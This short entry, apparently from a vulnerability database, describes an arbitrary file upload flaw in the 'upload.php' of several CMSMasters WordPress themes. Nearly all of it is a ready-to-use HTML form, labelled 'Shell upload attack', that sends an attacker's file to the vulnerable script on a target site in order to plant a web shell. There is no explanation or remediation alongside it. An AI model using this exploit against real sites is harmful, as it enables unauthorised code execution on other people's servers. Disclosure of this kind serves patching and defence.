WordPress 多个CMSMasters主题'upload.php'任意文件上传漏洞

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#   Shell upload attack:<br />
#   <form enctype="multipart/form-data" action="http://www.examplesite.com/wp-content/themes/clockstone/theme/functions/upload.php" method="post">
#   <input type="text" name="url" value="./" /><br />
#   Please choose a file: <input name="uploadfile" type="file" /><br />
#   <input type="submit" value="Upload" />
#   </form>
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